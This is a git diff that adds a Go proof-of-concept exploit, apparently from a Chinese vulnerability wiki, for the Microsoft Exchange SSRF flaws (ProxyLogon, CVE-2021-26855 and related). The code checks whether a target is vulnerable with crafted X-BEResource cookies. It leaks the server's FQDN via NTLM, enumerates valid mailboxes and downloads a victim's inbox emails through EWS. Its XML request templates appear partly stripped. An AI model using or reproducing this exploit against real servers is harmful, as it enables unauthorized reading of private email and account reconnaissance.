diff --git "a/PeiQi_Wiki/\346\234\215\345\212\241\345\231\250\345\272\224\347\224\250\346\274\217\346\264\236/Microsoft Exchange/POC/Microsoft Exchange \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214 CVE-2021-27065 26857 26858 27065.go" "b/PeiQi_Wiki/\346\234\215\345\212\241\345\231\250\345\272\224\347\224\250\346\274\217\346\264\236/Microsoft Exchange/POC/Microsoft Exchange \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214 CVE-2021-27065 26857 26858 27065.go" new file mode 100644 index 000000000..fa71a2a1e --- /dev/null +++ "b/PeiQi_Wiki/\346\234\215\345\212\241\345\231\250\345\272\224\347\224\250\346\274\217\346\264\236/Microsoft Exchange/POC/Microsoft Exchange \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214 CVE-2021-27065 26857 26858 27065.go" @@ -0,0 +1,341 @@ +package main + +import ( + "crypto/tls" + "flag" + "fmt" + "time" + "io" + "io/ioutil" + "net/http" + //"net/url" + "os" + "strings" + "regexp" + "encoding/base64" + "bufio" + "strconv" +) + +//检测漏洞存在脚本 +func Verify(targetUrl string) bool { + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + client := &http.Client{Transport: tr} + + req, _ := http.NewRequest("GET", targetUrl, nil) + req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;") + resp, _ := client.Do(req) + defer resp.Body.Close() + body, _ := ioutil.ReadAll(resp.Body) + + if strings.Contains(string(body), "NegotiateSecurityContext") { + return true + } else { + return false + } +} + +func append16(v []byte, val uint16) []byte { + return append(v, byte(val), byte(val>>8)) +} + +func append32(v []byte, val uint16) []byte { + return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24)) +} + +const ( + negotiateUnicode = 0x0001 // Text strings are in unicode + negotiateOEM = 0x0002 // Text strings are in OEM + requestTarget = 0x0004 // Server return its auth realm + negotiateSign = 0x0010 // Request signature capability + negotiateSeal = 0x0020 // Request confidentiality + negotiateLMKey = 0x0080 // Generate session key + negotiateNTLM = 0x0200 // NTLM authentication + negotiateLocalCall = 0x4000 // client/server on same machine + negotiateAlwaysSign = 0x8000 // Sign for all security levels +) + +//生成ntlm type1 +func Negotiate() []byte { + var ret []byte + flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM + + ret = append(ret, "NTLMSSP\x00"...) // protocol + ret = append32(ret, 1) // type + ret = append32(ret, uint16(flags)) // flags + ret = append16(ret, 0) // NT domain name length + ret = append16(ret, 0) // NT domain name max length + ret = append32(ret, 0) // NT domain name offset + ret = append16(ret, 0) // local workstation name length + ret = append16(ret, 0) // local workstation name max length + ret = append32(ret, 0) // local workstation name offset + ret = append16(ret, 0) // unknown name length + ret = append16(ret, 0) // ... + ret = append16(ret, 0x30) // unknown offset + ret = append16(ret, 0) // unknown name length + ret = append16(ret, 0) // ... + ret = append16(ret, 0x30) // unknown offset + + return ret +} + +//利用ntlm type2 获取有效信息 fqdn +func Ntlminfo(targetUrl string) (fqdn string, domain string) { + + //var fqdn string + + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + client := &http.Client{Transport: tr} + + req, _ := http.NewRequest("GET", targetUrl, nil) + req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate()))) + req.Header.Add("Accept","text/xml") + resp, _ := client.Do(req) + + reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`) + reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`) + reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`) + reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`) + reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`) + reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`) + + for _, values := range resp.Header { + type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";"))) + if type2 != "" { + decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2)) + fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "") + domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "") + } + } + return +} + +func Postxml(targetUrl string, fqdn string, xmlcontent string) string { + + //urlProxy, _ := url.Parse("http://127.0.0.1:8080") + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + // Proxy: http.ProxyURL(urlProxy), + } + client := &http.Client{Transport: tr} + + req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent)) + req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn)) + req.Header.Add("Content-Type", "text/xml") + //fmt.Println(req) + resp2, _ := client.Do(req) + //defer resp2.Body.Close() + body2, _ := ioutil.ReadAll(resp2.Body) + + return string(body2) +} + +func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) { + //fmt.Println(userfile) + ufile, err := os.Open(userfile) + if err != nil { + fmt.Println("文件错误") + os.Exit(0) + } + defer ufile.Close() + + fmt.Println("正确邮箱地址:\n") + + br := bufio.NewReader(ufile) + for { + name, _, c := br.ReadLine() + if c == io.EOF { + fmt.Println("\n完成。") + break + } + if strings.Contains(string(name), "@") { + str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name))) + if strings.Contains(str, string(name)) { + //fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", string(name))) + }else { + fmt.Println(string(name)) + } + }else{ + address := fmt.Sprintf("%s@%s", string(name), domainneame) + str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address)) + if strings.Contains(str, string(name)) { + //fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", address)) + }else { + fmt.Println(address) + } + } + time.Sleep(time.Duration(stime)*time.Second) + } +} + +func makefile(fileName string, conntent string) { + + f, err := os.Create(fileName) + defer f.Close() + if err != nil { + fmt.Println(err.Error()) + } else { + _, _ = f.Write([]byte(conntent)) + } +} + +func main(){ + + var maddress string + + host := flag.String("h", "", "必填,目标地址或域名") + filepath := flag.String("U", "", "选填,需要枚举的用户列表") + stime := flag.String("t", "1", "选填,请求延迟时间") + desfqnd := flag.String("n", "", "选填,需要指定 FQND 事填写") + list := flag.Bool("l", false, "选填,列出邮件列表") + emailadd := flag.String("u", "administrator", "选填,指定目标") + downl := flag.Bool("d", false, "选填,下载邮件") + flag.Parse() + + targetUrl := fmt.Sprintf("https://%s/owa/auth/temp.js", *host) + ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host) + postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host) + sleep_time, _ := strconv.Atoi(*stime) + + if *host == "" { + fmt.Println("请输入目标IP地址") + os.Exit(0) + } + + fmt.Println("检测漏洞存在中...") + if Verify(targetUrl) == true { + fmt.Println("漏洞存在...继续") + }else{ + fmt.Println("漏洞不存在...END") + os.Exit(0) + } + + mailnum := ` + + + + + Default + + + + + %s + + + + + +` + + maillist := ` + + + + + AllProperties + + + + + + %s + + + + + +` + +download := ` + + + + + AllProperties + Text + + + + + + +` + + fqndstr, domainstr := Ntlminfo(ewsUrl) + + fmt.Println("目标 FQND 为: ", fqndstr) + + if *filepath != "" { + Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time) + } + + if *desfqnd != "" { + fqndstr = *desfqnd + } + + if strings.Contains(*emailadd, "@") { + maddress = *emailadd + }else{ + maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr) + } + + str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress)) + //fmt.Println(str) + + if strings.Contains(str, maddress) { + fmt.Println(fmt.Sprintf("邮件地址 %s 不正确,请重新输入", maddress)) + }else if strings.Contains(str, "Success") { + reg01 := regexp.MustCompile(`()(.+)()`) + reg02 := regexp.MustCompile(`|`) + mnum := reg02.ReplaceAllString(reg01.FindString(str), "") + fmt.Println("用户 ", maddress, " 邮箱中收件箱 Inbox 中邮件数量为: ", mnum) + if *list == true { + if mnum != "0"{ + contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress)) + + reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`) + reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`) + reg_sub := regexp.MustCompile(`(?:)(.+?)(?:)`) + + id := reg_id.FindAllStringSubmatch(contents, -1) + key := reg_key.FindAllStringSubmatch(contents, -1) + subject := reg_sub.FindAllStringSubmatch(contents, -1) + + for i := 0; i < 5 ; i++{ + fmt.Println("---------") + fmt.Println("ID :", i+1, "\nItemId: ", id[i][1], "\nkey: ", key[i][1], "\n邮件标题:", subject[i][1]) + fmt.Println() + } + + if *downl == true { + for i := 0; i < 5 ; i++{ + fmt.Println("正在下载第 ", i," 份邮件") + contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1])) + makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd) + } + fmt.Println("下载完成") + } + + }else{ + fmt.Println("目标邮箱无邮件!") + } + } + }else{ + fmt.Println("默认 FQND 无效请更换其他服务器") + } +}